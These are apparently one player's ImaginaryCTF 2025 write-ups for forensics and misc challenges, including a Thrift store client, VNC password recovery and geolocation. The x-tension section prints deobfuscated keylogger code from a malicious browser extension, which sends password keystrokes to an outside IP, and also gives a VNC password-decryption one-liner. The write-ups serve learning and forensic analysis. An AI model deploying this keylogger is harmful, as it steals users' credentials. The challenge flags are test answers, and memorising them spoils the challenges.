> This is my writeups for solved challenges in ImaginaryCTF 2025
# Forensics
## wave (100pts)
Description: not a steg challenge i promise
Attachments: wave.wav
This challenge gave us a wav file, but I cannot open it like wav file work.
Let check some bytes of it. Flag is hidden in metadata.

**FLAG: ictf{obligatory_metadata_challenge}**
## thrift-store (100pts)
**Description**: The frontend has gone down but the store is still open, can you buy the flag?
thrift-store.chal.imaginaryctf.org:9090
Attachments: capture.pcap
Pcap file contains `THRIFT` protocol connections.

Some details is here https://wiki.wireshark.org/Thrift
Wireshark shows that this is Thrift Strict Binary (header 0x80010001) and the server uses Framed transport.
Look at all requests and responses once, I firgure out that RPCs include:
- createBasket() — no parameters, REPLY returns success as STRUCT containing field 1: binary = basket_id (UUID).
- addToBasket(1: binary basket_id, 2: binary item) — returns void.
- getBasket(1: binary basket_id) — returns list; on real server it can be list<binary> or wrapped in struct.
- getInventory() — returns list<struct>; each struct has strings (sku, name, desc) and an integer price (cent).
- pay(1: binary basket_id, 2: i64 total) — returns string (when correct total, flag is returned).
> note: all text parameters/values are binary, not unicode `strings`. If the wrong type/protocol/transport is sent, the server will close the socket immediately → “TSocket read 0 bytes”.
Easy to see the flow when follow tcp streams.

Work idea: this challenge looks like shopping, that we would go to inventory, pick basket and pay for flag. The pcap file shows the example how server works, so our mission is create a client that can do interaction with the server and get the flag.
After research about Thrift protocol, to connect with server using it, we first need to know the datatype of all functions was used and through it, create an IDL matching server.
Here is my `store.thrift`:
```
service Store {
binary createBasket(),
void addToBasket(1:binary basket_id, 2:binary item),
list<binary> getBasket(1:binary basket_id),
list<struct {
1: binary sku,
2: binary name,
3: binary desc,
4: i32 price
}> getInventory(),
string pay(1:binary basket_id, 2:i64 total),
}
```
**Write the client to match exactly**
- Connect using **TFramedTransport + TBinaryProtocol(strictWrite=true)**.
- For `binary` fields, use `writeBinary` / `readBinary` (don't use writeString randomly).
- Parse `createBasket` according to the nested STRUCT layout: result.success is a struct and field 1 is the binary id.
**The flag "buy" process**
- `getInventory()` to get the price list. (Prints out ~16 products; the list includes a `flag` with **price = 9999** cents)
- `createBasket()` gets `basket_id`.
- `addToBasket(basket_id, "flag")` adds the flag item to the basket.
- (Optional) `getBasket(basket_id)` will show ['flag'] – this is just the item name, not the flag.
- Calculate `total = 9999` according to inventory.
- `pay(basket_id, 9999)` → server returns success message containing real flag:
**ictf{l1k3_gRPC_bUt_l3ss_g0ogly}**.
My client source client_thrift_pay.py:
```python!
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Thrift client
Transport: TFramedTransport
Protocol : TBinaryProtocol (strict write)
RPCs supported: createBasket, addToBasket, getBasket, getInventory, pay
"""
import sys
from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
from thrift.Thrift import TType, TMessageType
HOST, PORT = "thrift-store.chal.imaginaryctf.org", 9090
def as_text(x):
return x.decode("utf-8", "replace") if isinstance(x, (bytes, bytearray)) else str(x)
# ---------------- Writers ----------------
def write_createBasket(p, seq=0):
p.writeMessageBegin("createBasket", TMessageType.CALL, seq)
p.writeStructBegin("createBasket_args")
p.writeFieldStop()
p.writeStructEnd()
p.trans.flush()
def write_addToBasket(p, basket_id: bytes, item: bytes, seq=1):
p.writeMessageBegin("addToBasket", TMessageType.CALL, seq)
p.writeStructBegin("addToBasket_args")
p.writeFieldBegin("basket_id", TType.STRING, 1) # binary on-wire == STRING
p.writeBinary(basket_id)
p.writeFieldEnd()
p.writeFieldBegin("item", TType.STRING, 2)
p.writeBinary(item)
p.writeFieldEnd()
p.writeFieldStop()
p.writeStructEnd()
p.trans.flush()
def write_getBasket(p, basket_id: bytes, seq=2):
p.writeMessageBegin("getBasket", TMessageType.CALL, seq)
p.writeStructBegin("getBasket_args")
p.writeFieldBegin("basket_id", TType.STRING, 1)
p.writeBinary(basket_id)
p.writeFieldEnd()
p.writeFieldStop()
p.writeStructEnd()
p.trans.flush()
def write_getInventory(p, seq=3):
p.writeMessageBegin("getInventory", TMessageType.CALL, seq)
p.writeStructBegin("getInventory_args")
p.writeFieldStop()
p.writeStructEnd()
p.trans.flush()
def write_pay(p, basket_id: bytes, total: int, seq=900):
p.writeMessageBegin("pay", TMessageType.CALL, seq)
p.writeStructBegin("pay_args")
p.writeFieldBegin("basket_id", TType.STRING, 1)
p.writeBinary(basket_id)
p.writeFieldEnd()
p.writeFieldBegin("total", TType.I64, 2) # i64 an toàn
p.writeI64(total)
p.writeFieldEnd()
p.writeFieldStop()
p.writeStructEnd()
p.trans.flush()
# ---------------- Readers & helpers ----------------
def read_void_reply(p, expect_name: str):
name, mtype, seqid = p.readMessageBegin()
assert name == expect_name and mtype == TMessageType.REPLY
p.readStructBegin()
_fname, ftype, fid = p.readFieldBegin()
assert ftype == TType.STOP
p.readStructEnd()
p.readMessageEnd()
def read_createBasket_reply(p) -> bytes:
name, mtype, seqid = p.readMessageBegin()
assert name == "createBasket" and mtype == TMessageType.REPLY
p.readStructBegin() # createBasket_result
_fname, ftype, fid = p.readFieldBegin()
# success = STRUCT { 1: STRING(binary) } (theo PCAP/server)
assert ftype == TType.STRUCT and fid in (0, 1)
p.readStructBegin()
_fname2, ftype2, fid2 = p.readFieldBegin()
assert ftype2 == TType.STRING and fid2 == 1
basket_id = p.readBinary()
p.readFieldEnd()
_fname2, ftype2, fid2 = p.readFieldBegin()
assert ftype2 == TType.STOP
p.readStructEnd()
p.readFieldEnd()
_fname, ftype, fid = p.readFieldBegin()
assert ftype == TType.STOP
p.readStructEnd()
p.readMessageEnd()
return basket_id
def skip_field(p, ftype):
if ftype == TType.BOOL: p.readBool()
elif ftype == TType.BYTE: p.readByte()
elif ftype == TType.I16: p.readI16()
elif ftype == TType.I32: p.readI32()
elif ftype == TType.I64: p.readI64()
elif ftype == TType.DOUBLE:p.readDouble()
elif ftype == TType.STRING:_ = p.readBinary()
elif ftype == TType.LIST:
et, n = p.readListBegin()
for _ in range(n):
if et == TType.STRING: _ = p.readBinary()
elif et == TType.I32: _ = p.readI32()
elif et == TType.I64: _ = p.readI64()
elif et == TType.STRUCT:
p.readStructBegin()
while True:
_fn, ft, _fid = p.readFieldBegin()
if ft == TType.STOP: break
skip_field(p, ft); p.readFieldEnd()
p.readStructEnd()
else:
pass
p.readListEnd()
elif ftype == TType.STRUCT:
p.readStructBegin()
while True:
_fn, ft, _fid = p.readFieldBegin()
if ft == TType.STOP: break
skip_field(p, ft); p.readFieldEnd()
p.readStructEnd()
elif ftype == TType.MAP:
kt, vt, n = p.readMapBegin()
for _ in range(n):
skip_field(p, kt); skip_field(p, vt)
p.readMapEnd()
elif ftype == TType.SET:
et, n = p.readSetBegin()
for _ in range(n): skip_field(p, et)
p.readSetEnd()
def read_getBasket_reply(p):
name, mtype, seqid = p.readMessageBegin()
assert name == "getBasket" and mtype == TMessageType.REPLY
p.readStructBegin() # getBasket_result
items = []
_fname, ftype, fid = p.readFieldBegin()
if ftype == TType.LIST:
et, n = p.readListBegin()
if et == TType.STRING:
items = [as_text(p.readBinary()) for _ in range(n)]
elif et == TType.STRUCT:
for _ in range(n):
p.readStructBegin()
collected = []
while True:
_fn3, ft3, fid3 = p.readFieldBegin()
if ft3 == TType.STOP: break
if ft3 == TType.STRING:
collected.append(as_text(p.readBinary()))
else:
skip_field(p, ft3)
p.readFieldEnd()
p.readStructEnd()
items.append(" | ".join(collected) if collected else "<struct>")
else:
for _ in range(n): skip_field(p, et)
p.readListEnd(); p.readFieldEnd()
elif ftype == TType.STRUCT:
p.readStructBegin()
while True:
_fn2, ft2, fid2 = p.readFieldBegin()
if ft2 == TType.STOP: break
if ft2 == TType.LIST:
et, n = p.readListBegin()
if et == TType.STRING:
items += [as_text(p.readBinary()) for _ in range(n)]
elif et == TType.STRUCT:
for _ in range(n):
p.readStructBegin()
collected = []
while True:
_fn3, ft3, fid3 = p.readFieldBegin()
if ft3 == TType.STOP: break
if ft3 == TType.STRING:
collected.append(as_text(p.readBinary()))
else:
skip_field(p, ft3)
p.readFieldEnd()
p.readStructEnd()
items.append(" | ".join(collected) if collected else "<struct>")
else:
for _ in range(n): skip_field(p, et)
p.readListEnd(); p.readFieldEnd()
else:
skip_field(p, ft2); p.readFieldEnd()
p.readStructEnd(); p.readFieldEnd()
elif ftype == TType.STRING:
items = [as_text(p.readBinary())]; p.readFieldEnd()
_fname, ftype, fid = p.readFieldBegin()
assert ftype == TType.STOP
p.readStructEnd()
p.readMessageEnd()
return items
def read_getInventory_reply(p):
name, mtype, seqid = p.readMessageBegin()
assert name == "getInventory" and mtype == TMessageType.REPLY
p.readStructBegin()
entries = [] # each entry -> dict {"strings":[...], "ints":[...]}
_fname, ftype, fid = p.readFieldBegin()
def read_row_struct():
p.readStructBegin()
row_s, row_i = [], []
while True:
_fn, ft, _fid = p.readFieldBegin()
if ft == TType.STOP: break
if ft == TType.STRING:
row_s.append(as_text(p.readBinary()))
elif ft == TType.I32:
row_i.append(p.readI32())
elif ft == TType.I64:
row_i.append(p.readI64())
else:
skip_field(p, ft)
p.readFieldEnd()
p.readStructEnd()
return {"strings": row_s, "ints": row_i}
if ftype == TType.LIST:
et, n = p.readListBegin()
if et == TType.STRUCT:
for _ in range(n):
entries.append(read_row_struct())
elif et == TType.STRING:
for _ in range(n):
entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
else:
for _ in range(n): skip_field(p, et)
p.readListEnd(); p.readFieldEnd()
elif ftype == TType.STRUCT:
p.readStructBegin()
while True:
_fn2, ft2, fid2 = p.readFieldBegin()
if ft2 == TType.STOP: break
if ft2 == TType.LIST:
et, n = p.readListBegin()
if et == TType.STRUCT:
for _ in range(n):
entries.append(read_row_struct())
elif et == TType.STRING:
for _ in range(n):
entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
else:
for _ in range(n): skip_field(p, et)
p.readListEnd(); p.readFieldEnd()
else:
skip_field(p, ft2); p.readFieldEnd()
p.readStructEnd(); p.readFieldEnd()
elif ftype == TType.STRING:
entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
p.readFieldEnd()
_fname, ftype, fid = p.readFieldBegin()
assert ftype == TType.STOP
p.readStructEnd()
p.readMessageEnd()
return entries
def read_pay_reply(p) -> str:
name, mtype, seqid = p.readMessageBegin()
assert name == "pay" and mtype == TMessageType.REPLY
p.readStructBegin()
_fname, ftype, fid = p.readFieldBegin()
msg = ""
if ftype == TType.STRING:
msg = as_text(p.readBinary())
p.readFieldEnd()
elif ftype == TType.STRUCT:
p.readStructBegin()
parts = []
while True:
_fn, ft, _fid = p.readFieldBegin()
if ft == TType.STOP: break
if ft == TType.STRING:
parts.append(as_text(p.readBinary()))
else:
skip_field(p, ft)
p.readFieldEnd()
p.readStructEnd()
p.readFieldEnd()
msg = " ".join(parts)
elif ftype == TType.STOP:
msg = ""
_fname, ftype, fid = p.readFieldBegin()
assert ftype == TType.STOP
p.readStructEnd()
p.readMessageEnd()
return msg
# ---------------- Main flow ----------------
def main():
items_wanted = sys.argv[1:] or ["flag"]
sock = TSocket.TSocket(HOST, PORT)
trans = TTransport.TFramedTransport(sock) # server: FRAMED + BINARY
proto = TBinaryProtocol.TBinaryProtocol(trans, strictRead=False, strictWrite=True)
trans.open()
# (A) inventory -> sku->price
write_getInventory(proto, seq=0)
inv = read_getInventory_reply(proto)
price = {} # sku -> int(cents)
catalog = [] # list pretty for printing
for row in inv:
s = row.get("strings", []) if isinstance(row, dict) else []
ints = row.get("ints", []) if isinstance(row, dict) else []
if not s:
continue
sku = s[0]
pval = ints[0] if ints else None
if pval is not None:
price[sku] = pval
# build pretty line
name = s[1] if len(s) > 1 else ""
desc = s[2] if len(s) > 2 else ""
catalog.append((sku, name, desc, pval))
print(f"[+] inventory entries: {len(catalog)}")
for i, (sku, name, desc, pval) in enumerate(catalog, 1):
pv = f"{pval}" if pval is not None else "?"
print(f" {i:2d}. {sku:22s} | {name:24s} | price={pv} | {desc[:60]}")
# (B) create basket & add items
write_createBasket(proto, seq=100)
basket = read_createBasket_reply(proto)
print("[+] basket_id:", as_text(basket))
for idx, it in enumerate(items_wanted, 1):
write_addToBasket(proto, basket, it.encode(), seq=100+idx)
read_void_reply(proto, "addToBasket")
print(f"[+] added '{it}'")
# (C) show basket
write_getBasket(proto, basket, seq=200)
items = read_getBasket_reply(proto)
print("[+] basket items:", items)
# (D) compute total & pay
total = 0
unknown = []
for it in items:
if it in price:
total += price[it]
else:
unknown.append(it)
print(f"[+] computed total (known items): {total} (cents), unknown items: {unknown}")
try_candidates = []
if items and all(it in unknown for it in items):
try_candidates = [0]
else:
try_candidates = [total]
for t in try_candidates:
write_pay(proto, basket, t, seq=300)
msg = read_pay_reply(proto)
print(f"[+] pay({t}) → {msg}")
if any(tag in msg for tag in ("ictf{", "flag{", "CTF{")):
print("\n=== FLAG ===")
print(msg)
print("============")
break
trans.close()
if __name__ == "__main__":
main()
```

**FLAG: ictf{l1k3_gRPC_bUt_l3ss_g0ogly}**
## obfuscated-1 (100pts)
**Description:** I installed every old software known to man... The flag is the VNC password, wrapped in ictf{}.
Attachments: Users.zip
The zip file is an user folder, so we can consider it as a file system image.

Open it with FTK Imager.

In Downloads, there are some suspicous file, a tightvnc-..., a putty installer and cuteftp50.exe. The description told us that the flag is VNC password so we need to know how tightvnc saves its password.
A post shows us that VNC password was saved in registry `HKEY_CURRENT_USER\Software\TightVNC\Server`

To read the registry, we need `NTUSER.DAT` file, and it is in rumi folder. Use Registry Viewer.

The password was in hex type and was encrypted (DES, 8 byte - it was public with DES key)
Write a decryptor or you can just use this script https://github.com/trinitronx/vncpasswd.py
My bash script:
```bash!
echo '7e9b311248b7c8a8' \
| xxd -r -p \
| openssl enc -des-ecb -d -nopad -nosalt -K e84ad660c4721ae0
```

**FLAG: ictf{Slay4U!!}**
## x-tension (100pts)
**Description:** Trying to get good at something while watching youtube isn't the greatest idea...
**Attachments:** chal.pcapng

As decription, the pcap contains many transmission protocols from UDP, TCP, QUIC for video content. Therefore, those are trying to noise us.

Look at Protocol Hierarchy Statistic, we found some suspicous HTTP.

We got `FunnyCatPicsExtension.crx` and a lot request GET with parameter `?t=`
Download and analyze `FunnyCatPicsExtension.crx`: it is not a common crx file, it is embedded something inside.

`content.js` and `manifest.json`, why were they hidden in there?

The content.js was obfuscated, that was super suspicous, like a malware.
Try to read and deobfuscate, combine with manifest.json, we concluse:
- manifest.json use `host_permissions: ["<all_urls>"]` + `content_scripts.matches: ["<all_urls>"]` to inject `content.js` to all page you open. `run_at: "document_idle` to run `content.js` when download completely.
- `content.js` listen `keydown` when page has input field `type=="password"`. Each character was imported, programm XOR 1-byte (UTC minute) → encode 2 hex → fetch into `http://192.9.137.137:42552/?t=hex`
=> This is **password keylogger**
Content.js after deobfuscated:
```javascript=
function getKey() {
const m = new Date().getUTCMinutes(); // 0..59
return String.fromCharCode(m + 0x20); // key 1 byte (0x20..0x5B)
}
function xorEncrypt(s, key) {
let out = "";
const k = key.charCodeAt(0);
for (let i = 0; i < s.length; i++) {
const x = s.charCodeAt(i) ^ k; // XOR each char
out += x.toString(16).padStart(2, "0"); // to 2 hex
}
return out;
}
document.addEventListener("keydown", (ev) => {
const el = ev.target;
if (el.type === "password") {
const ch = ev.key.length === 1 ? ev.key : ""; // one char
if (ch) {
const enc = xorEncrypt(ch, getKey());
const q = encodeURIComponent(enc);
fetch("http://192.9.137.137:42552/?t=" + q); // exfiltration
}
}
});
```
Oke, next we try to recover the data was sent. We need the cipher char and the time it was encrypt.
1. Export the data with tshark:
```bash=
tshark -r capture.pcap \
-Y 'http.request && ip.dst==192.9.137.137 && tcp.dstport==42552 && http.request.uri contains "t="' \
-T fields -E separator=, \
-e frame.time_epoch -e http.request.uri.query > leaks.csv
```

2. Decode
```python=
# decode_leak.py
import sys, csv, re
from datetime import datetime, timezone
def utc_minute(epoch_float):
return datetime.fromtimestamp(epoch_float, tz=timezone.utc).minute
def decode_char(epoch_str, query):
m = re.search(r't=([0-9a-fA-F]{2})', query)
if not m: return None
b = int(m.group(1), 16)
k = (utc_minute(float(epoch_str)) + 0x20) & 0xFF
return chr(b ^ k)
def main(path):
out = []
with open(path, newline='') as f:
for epoch, query in csv.reader(f):
ch = decode_char(epoch, query)
if ch is not None:
out.append(ch)
print("".join(out))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 decode_leak.py leaks.csv"); sys.exit(1)
main(sys.argv[1])
```

**FLAG: ictf{extensions_might_just_suck}**
# MISC
## significant (100pts)
**Description**: The signpost knows where it is at all times. It knows this because it knows where it isn't, by subtracting where it is, from where it isn't, or where it isn't, from where it is, whichever is greater. Consequently, the position where it is, is now the position that it wasn't, and it follows that the position where it was, is now the position that it isn't.
Please find the coordinates (lat, long) of this signpost to the nearest 3 decimals, separated by a comma with no space. Ensure that you are rounding and not truncating before you make a ticket. Example flag: ictf{-12.345,6.789}

Use google lens, we can found that this is in San Francisco. It is **"Sister Cities of San Francisco Sign"**.
**FLAG: ictf{37.785,-122.408}**
## zoom (100pts)
**Description**
Where in the world is the red dot?
Format: ictf{lat,long} rounded to three decimal places. example: ictf{12.345,-67.890}

GPT is now strong in identifying place


The coordinates it give is not exactly, but nearby.

**FLAG: ictf{45.282,-75.795}**